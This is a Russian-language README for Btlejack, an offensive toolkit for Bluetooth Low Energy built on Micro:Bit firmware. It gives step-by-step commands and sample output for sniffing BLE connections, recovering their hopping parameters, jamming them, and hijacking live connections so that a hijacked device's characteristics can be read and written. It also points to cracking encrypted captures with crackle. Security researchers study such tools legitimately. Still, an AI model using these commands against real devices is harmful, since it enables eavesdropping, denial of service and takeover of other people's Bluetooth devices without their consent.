
Швейцарский нож для Bluetooth с низким энергопотреблением
BtleJack: новый швейцарский нож для Bluetooth Low Energy #####################################################
Btlejack предоставляет всё необходимое для сниффинга, глушения и перехвата устройств Bluetooth Low Energy. Он использует одно или несколько устройств BBC Micro:Bit <http://microbit.org/>. с прошивкой. Вы также можете использовать Adafruit's Bluefruit LE sniffer <https://www.adafruit.com/product/2269> или nRF51822 Eval Kit <https://www.waveshare.com/wiki/BLE400>_, так как мы добавили поддержку этих устройств.
Текущая версия инструмента (2.0) поддерживает BLE 4.x и 5.x. Поддержка BLE 5.x ограничена: поддерживается только 1Mbps Uncoded PHY и не поддерживается обновление карты каналов.
Вам потребуется система на базе UNIX (например, Raspberry Pi). Если вы используете BBC Micro:Bit, вам понадобится от одного до трёх устройств Micro:Bit (рекомендуется три) и для каждого устройства один свободный USB-порт. Энергопотребление Micro:Bit довольно низкое, поэтому вы можете использовать один USB-порт и пассивный хаб для питания трёх рекомендуемых устройств.
Если подключить 3 microbit одновременно к вашему компьютеру, Btlejack сможет сниффить на всех рекламных каналах и будет иметь гораздо больше шансов захватить запрос на соединение.
Сначала установите клиентское ПО Python3 btlejack с помощью Pip:
::
$ sudo pip3 install btlejack
Затем подключите устройство Micro:Bit к компьютеру через USB-кабель, смонтируйте соответствующее устройство массового хранения (точка монтирования должна содержать MICROBIT) и выполните следующую команду:
::
$ btlejack -i
Это запрограммирует каждое устройство Micro:Bit, подключённое к вашему компьютеру, и подготовит их к использованию с Btlejack. Будет использоваться правильная версия прошивки для текущего клиентского ПО, поэтому настоятельно рекомендуется выполнять эту процедуру установки прошивки каждый раз при обновлении Btlejack.
Если вы используете Bluefruit LE sniffer или nRF51822 Eval Kit, используйте внешний программатор SWD для прошивки устройства с помощью этой прошивки <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_.
Оставьте устройства подключёнными, и всё готово!
ПРИМЕЧАНИЕ Это работает только с системами, совместимыми с POSIX.
Использовать Btlejack довольно просто. Btlejack может:
Btlejack обычно пытается автоматически обнаруживать и использовать подключённые совместимые устройства (пока только Micro:Bit), но поскольку прошивку можно взломать или изменить для работы с другими платами на nRF51822, он предоставляет специальные опции для обеспечения совместимости с этими устройствами.
Опция -d позволяет указать одно или несколько устройств для Btlejack. Обратите внимание, что эта опция отключает автоматическое обнаружение устройств, и вы должны добавить столько устройств, сколько вам нужно:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
Сначала найдите существующее соединение для атаки с помощью btlejack:
::
$ btlejack -s BtleJack version 1.1
[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
Первое значение (в дБм) показывает мощность сигнала; чем больше это значение, тем лучше будет снифферное соединение.
Второе значение (шестнадцатеричное) — это связанный адрес доступа, 32-битное значение, идентифицирующее связь между двумя совместимыми устройствами Bluetooth Low Energy.
Последнее значение — количество пакетов, увиденных с этим адресом доступа. Чем выше это значение, тем более вероятно, что используется соответствующий адрес доступа.
Затем используйте опцию -f, чтобы отслеживать конкретное соединение:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
Если вы используете более одного microbit, Btlejack распараллелит некоторые операции сниффинга, чтобы ускорить восстановление параметров соединения!
Опция -c, поддерживаемая btlejack, позволяет указать целевой BD-адрес, или вы можете использовать any для захвата любого нового созданного соединения.
::
$ btlejack -c any BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
или вы также можете указать целевой BD-адрес:
::
$ btlejack -c 03:e1:f0:00:11:22
После того как соединение идентифицировано по его адресу доступа, вы можете заглушить его с помощью опции -j:
::
$ btlejack -f 0x129f3244 -j̀
Btlejack также может перехватывать существующее соединение; для этого используйте опцию -t. После перехвата Btlejack выдаст приглашение, позволяющее взаимодействовать с перехваченным устройством.
Сначала перехватите существующее соединение:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
Затем используйте следующие команды для взаимодействия с устройством:
discover command ^^^^^^^^^^^^^^^^^^
Команда discover отправляет и получает пакеты Bluetooth LE и извлекает все UUID служб и параметры, а также UUID характеристик и параметры:
::
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003
Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a
Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016
Characteristic UUID: 2a01 | handle: 0017 | properties: read (02) \ value handle: 0018
Service UUID: 1824 Characteristic UUID: 2abc | handle: 0029 | properties: write indicate (28) \ value handle: 002a
read command ^^^^^^^^^^^^^^
Команда read принимает один параметр — дескриптор значения, соответствующий характеристике, из которой вы хотите прочитать:
::
btlejack> read 0x16 read>> 4c 47 20 77 65 62 4f 53 20 54 56
write command ^^^^^^^^^^^^^^^
Команда write принимает три параметра:
::
btlejack> write
Поддерживаемые форматы данных:
hex: шестнадцатеричные данные (например, "414261")str: текстовая строка, может быть заключена в двойные кавычкиll command ^^^^^^^^^^^^
Эта последняя команда позволяет отправлять блоки данных канального уровня Bluetooth Low Energy в шестнадцатеричной форме, как указано в томе 6, части B, главе 2.4.
Одна из интересных возможностей Btlejack — возможность экспортировать захваченные данные в файл PCAP.
Btlejack поддерживает следующие форматы DLT:
Выходной файл может быть указан с помощью опции -o, а формат вывода — с помощью опции -x. Допустимые значения формата: ll_phdr, nordic или pcap (по умолчанию).
::
$ btlejack -f 0xac56bc12 -x nordic -o capture.nordic.pcap
Тип экспорта ll_phdr полезен при сниффинге зашифрованного соединения, так как он также поддерживается crackle <https://github.com/mikeryan/crackle>_. Так что если вы хотите сниффить и взламывать зашифрованные соединения, это то, что нужно.
Возможно, вам также потребуется указать crackle использовать определённую стратегию взлома с помощью опции -s:
::
$ crackle -i some.pcap -s 1
Btlejack использует кэш соединений для хранения некоторых значений, связанных с соединением, чтобы немного ускорить работу. Этот кэш может вызывать некоторые проблемы, особенно если адрес доступа уже был замечен ранее.
Этот кэш можно очистить с помощью опции -z:
::
$ btlejack -z
Btlejack 2.0 представляет новую опцию -w, которая позволяет указать путь FIFO (существующий или нет) для анализа пакетов в реальном времени:
::
$ btlejack -c any -w /tmp/blepipe
Вы даже можете использовать FIFO и выходной файл одновременно:
::
$ btlejack -c any -w /tmp/blepipe -o blepackets.pcap
Если вы ранее включали виртуальный Ethernet через USB (RNDIS), например, для настройки Raspberry Pi Zero W через USB, вам нужно снова отключить это (т.е. удалить dtoverlay=dwc2 из boot/config.txt и modules-load=dwc2,g_ether из boot/cmdline.txt, затем выполнить sudo reboot), потому что иначе это будет мешать USB-соединениям снифферов.
Эта версия поддерживает Bluetooth Low Energy версий 5 и 5.1, и особенно новый алгоритм выбора канала, введённый в версии 5 (CSA #2). Однако, поскольку используемое оборудование не поддерживает два новых PHY, добавленных в версии 5, он сможет только сниффить, глушить и, возможно, перехватывать соединения, использующие 1Mbps uncoded PHY.
Также обратите внимание, что текущая реализация CSA #2 в Btlejack пока не поддерживает обновление карты каналов.
Btlejack автоматически определяет используемый алгоритм выбора канала, поэтому вам не нужно беспокоиться — просто захватывайте пакеты как обычно.
Сниффинг существующего BLE 5 соединения (которое использует 1Mbps uncoded PHY, и только этот PHY) не так сложен. Сначала вы должны указать, что хотите атаковать BLE 5 соединение, используя опцию -5. Обратите внимание, что нет способа определить, использует ли существующее соединение CSA #2 или CSA #1, поэтому вам придётся попробовать обе техники, пока одна не сработает.
::
$ btlejack -f 0x11223344 -5
Затем Btlejack восстановит используемую карту каналов и значение интервала перескока:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160
Затем он попытается восстановить значение счётчика PRNG этого соединения:
::
$ btlejack -f 0x11223344 -5 [i] Synchronizing with connection 0x11223344 ... ✓ CRCInit: 0x40d64f ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 160 ✓ CSA2 PRNG counter = 5137 [i] Synchronized, packet capture in progress ...
После этого Btlejack синхронизируется с этим соединением и будет обрабатывать пакеты как обычно.
Здесь нет ничего нового, за исключением того, что вы должны указать, что атакуете BLE 5 соединение, используя опцию -5.
Обратите внимание, что вы можете оптимизировать эту атаку, указав также карту каналов и значение интервала перескока с помощью флагов -m и -p соответственно. Оба они ДОЛЖНЫ быть указаны, иначе это не сработает.
На данный момент мне не удалось перехватить BLE 5 соединение, так как эта атака чувствительна ко времени. Мои BLE 5 устройства используют задержку 0, что не допускает задержки и приводит к сбою атаки.
Когда мне удастся заполучить некоторые легальные BLE 5 устройства, я улучшу это.